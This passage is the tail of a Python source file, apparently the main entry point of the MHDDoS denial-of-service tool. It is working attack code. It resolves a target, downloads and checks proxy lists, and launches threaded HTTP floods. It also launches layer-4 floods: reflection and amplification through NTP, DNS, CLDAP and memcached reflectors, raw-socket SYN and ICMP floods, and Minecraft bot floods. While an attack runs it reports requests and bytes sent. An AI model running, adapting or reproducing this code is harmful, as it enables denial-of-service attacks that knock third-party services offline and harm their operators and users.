", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
1607
", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
1608
", ".join(["TOOLS", "HELP", "STOP"]), 3,
1609
len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
1610
argv[0], argv[0], argv[0], argv[0]))
1611
1612
# noinspection PyBroadException
1613
@staticmethod
1614
def ts_srv(domain):
1615
records = ['_ts3._udp.', '_tsdns._tcp.']
1616
DnsResolver = resolver.Resolver()
1617
DnsResolver.timeout = 1
1618
DnsResolver.lifetime = 1
1619
Info = {}
1620
for rec in records:
1621
try:
1622
srv_records = resolver.resolve(rec + domain, 'SRV')
1623
for srv in srv_records:
1624
Info[rec] = str(srv.target).rstrip('.') + ':' + str(
1625
srv.port)
1626
except:
1627
Info[rec] = 'Not found'
1628
1629
return Info
1630
1631
# noinspection PyUnreachableCode
1632
@staticmethod
1633
def info(domain):
1634
with suppress(Exception), get(f"https://ipwhois.app/json/{domain}/") as s:
1635
return s.json()
1636
return {"success": False}
1637
1638
1639
def handleProxyList(con, proxy_li, proxy_ty, url=None):
1640
if proxy_ty not in {4, 5, 1, 0, 6}:
1641
exit("Socks Type Not Found [4, 5, 1, 0, 6]")
1642
if proxy_ty == 6:
1643
proxy_ty = randchoice([4, 5, 1])
1644
if not proxy_li.exists():
1645
logger.warning(
1646
f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}")
1647
proxy_li.parent.mkdir(parents=True, exist_ok=True)
1648
with proxy_li.open("w") as wr:
1649
Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
1650
logger.info(
1651
f"{bcolors.OKBLUE}{len(Proxies):,}{bcolors.WARNING} Proxies are getting checked, this may take awhile{bcolors.RESET}!"
1652
)
1653
Proxies = ProxyChecker.checkAll(
1654
Proxies, timeout=5, threads=threads,
1655
url=url.human_repr() if url else "http://httpbin.org/get",
1656
)
1657
1658
if not Proxies:
1659
exit(
1660
"Proxy Check failed, Your network may be the problem"
1661
" | The target may not be available."
1662
)
1663
stringBuilder = ""
1664
for proxy in Proxies:
1665
stringBuilder += (proxy.__str__() + "\n")
1666
wr.write(stringBuilder)
1667
1668
proxies = ProxyUtiles.readFromFile(proxy_li)
1669
if proxies:
1670
logger.info(f"{bcolors.WARNING}Proxy Count: {bcolors.OKBLUE}{len(proxies):,}{bcolors.RESET}")
1671
else:
1672
logger.info(
1673
f"{bcolors.WARNING}Empty Proxy File, running flood without proxy{bcolors.RESET}")
1674
proxies = None
1675
1676
return proxies
1677
1678
1679
if __name__ == '__main__':
1680
with suppress(KeyboardInterrupt):
1681
with suppress(IndexError):
1682
one = argv[1].upper()
1683
1684
if one == "HELP":
1685
raise IndexError()
1686
if one == "TOOLS":
1687
ToolsConsole.runConsole()
1688
if one == "STOP":
1689
ToolsConsole.stop()
1690
1691
method = one
1692
host = None
1693
port = None
1694
url = None
1695
event = Event()
1696
event.clear()
1697
target = None
1698
urlraw = argv[2].strip()
1699
if not urlraw.startswith("http"):
1700
urlraw = "http://" + urlraw
1701
1702
if method not in Methods.ALL_METHODS:
1703
exit("Method Not Found %s" %
1704
", ".join(Methods.ALL_METHODS))
1705
1706
if method in Methods.LAYER7_METHODS:
1707
url = URL(urlraw)
1708
host = url.host
1709
1710
if method != "TOR":
1711
try:
1712
host = gethostbyname(url.host)
1713
except Exception as e:
1714
exit('Cannot resolve hostname ', url.host, str(e))
1715
1716
threads = int(argv[4])
1717
rpc = int(argv[6])
1718
timer = int(argv[7])
1719
proxy_ty = int(argv[3].strip())
1720
proxy_li = Path(__dir__ / "files/proxies/" /
1721
argv[5].strip())
1722
useragent_li = Path(__dir__ / "files/useragent.txt")
1723
referers_li = Path(__dir__ / "files/referers.txt")
1724
bombardier_path = Path.home() / "go/bin/bombardier"
1725
proxies: Any = set()
1726
1727
if method == "BOMB":
1728
assert (
1729
bombardier_path.exists()
1730
or bombardier_path.with_suffix('.exe').exists()
1731
), (
1732
"Install bombardier: "
1733
"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
1734
)
1735
1736
if len(argv) == 9:
1737
logger.setLevel("DEBUG")
1738
1739
if not useragent_li.exists():
1740
exit("The Useragent file doesn't exist ")
1741
if not referers_li.exists():
1742
exit("The Referer file doesn't exist ")
1743
1744
uagents = set(a.strip()
1745
for a in useragent_li.open("r+").readlines())
1746
referers = set(a.strip()
1747
for a in referers_li.open("r+").readlines())
1748
1749
if not uagents: exit("Empty Useragent File ")
1750
if not referers: exit("Empty Referer File ")
1751
1752
if threads > 1000:
1753
logger.warning("Thread is higher than 1000")
1754
if rpc > 100:
1755
logger.warning(
1756
"RPC (Request Pre Connection) is higher than 100")
1757
1758
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
1759
for thread_id in range(threads):
1760
HttpFlood(thread_id, url, host, method, rpc, event,
1761
uagents, referers, proxies).start()
1762
1763
if method in Methods.LAYER4_METHODS:
1764
target = URL(urlraw)
1765
1766
port = target.port
1767
target = target.host
1768
1769
try:
1770
target = gethostbyname(target)
1771
except Exception as e:
1772
exit('Cannot resolve hostname ', url.host, e)
1773
1774
if port > 65535 or port < 1:
1775
exit("Invalid Port [Min: 1 / Max: 65535] ")
1776
1777
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN", "ICMP"} and \
1778
not ToolsConsole.checkRawSocket():
1779
exit("Cannot Create Raw Socket")
1780
1781
if method in Methods.LAYER4_AMP:
1782
logger.warning("this method need spoofable servers please check")
1783
logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")
1784
1785
threads = int(argv[3])
1786
timer = int(argv[4])
1787
proxies = None
1788
ref = None
1789
1790
if not port:
1791
logger.warning("Port Not Selected, Set To Default: 80")
1792
port = 80
1793
1794
if method in {"SYN", "ICMP"}:
1795
__ip__ = __ip__
1796
1797
if len(argv) >= 6:
1798
argfive = argv[5].strip()
1799
if argfive:
1800
refl_li = Path(__dir__ / "files" / argfive)
1801
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
1802
if not refl_li.exists():
1803
exit("The reflector file doesn't exist")
1804
if len(argv) == 7:
1805
logger.setLevel("DEBUG")
1806
ref = set(a.strip()
1807
for a in Tools.IP.findall(refl_li.open("r").read()))
1808
if not ref: exit("Empty Reflector File ")
1809
1810
elif argfive.isdigit() and len(argv) >= 7:
1811
if len(argv) == 8:
1812
logger.setLevel("DEBUG")
1813
proxy_ty = int(argfive)
1814
proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
1815
proxies = handleProxyList(con, proxy_li, proxy_ty)
1816
if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
1817
exit("this method cannot use for layer4 proxy")
1818
1819
else:
1820
logger.setLevel("DEBUG")
1821
1822
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
1823
1824
if method == "MCBOT":
1825
with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:
1826
Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))
1827
Tools.send(s, Minecraft.data(b'\x00'))
1828
1829
protocolid = Tools.protocolRex.search(str(s.recv(1024)))
1830
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"] if not protocolid else int(protocolid.group(1))
1831
1832
if 47 < protocolid > 758:
1833
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
1834
1835
for _ in range(threads):
1836
Layer4((target, port), ref, method, event,
1837
proxies, protocolid).start()
1838
1839
logger.info(
1840
f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
1841
% (target or url.host, method, timer, threads))
1842
event.set()
1843
ts = time()
1844
while time() < ts + timer:
1845
logger.debug(
1846
f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
1847
(target or url.host,
1848
port or (url.port or 80),
1849
method,
1850
Tools.humanformat(int(REQUESTS_SENT)),
1851
Tools.humanbytes(int(BYTES_SEND)),
1852
round((time() - ts) / timer * 100, 2)))
1853
REQUESTS_SENT.set(0)
1854
BYTES_SEND.set(0)
1855
sleep(1)
1856
1857
event.clear()
1858
exit()
1859
1860
ToolsConsole.usage()
1861
1862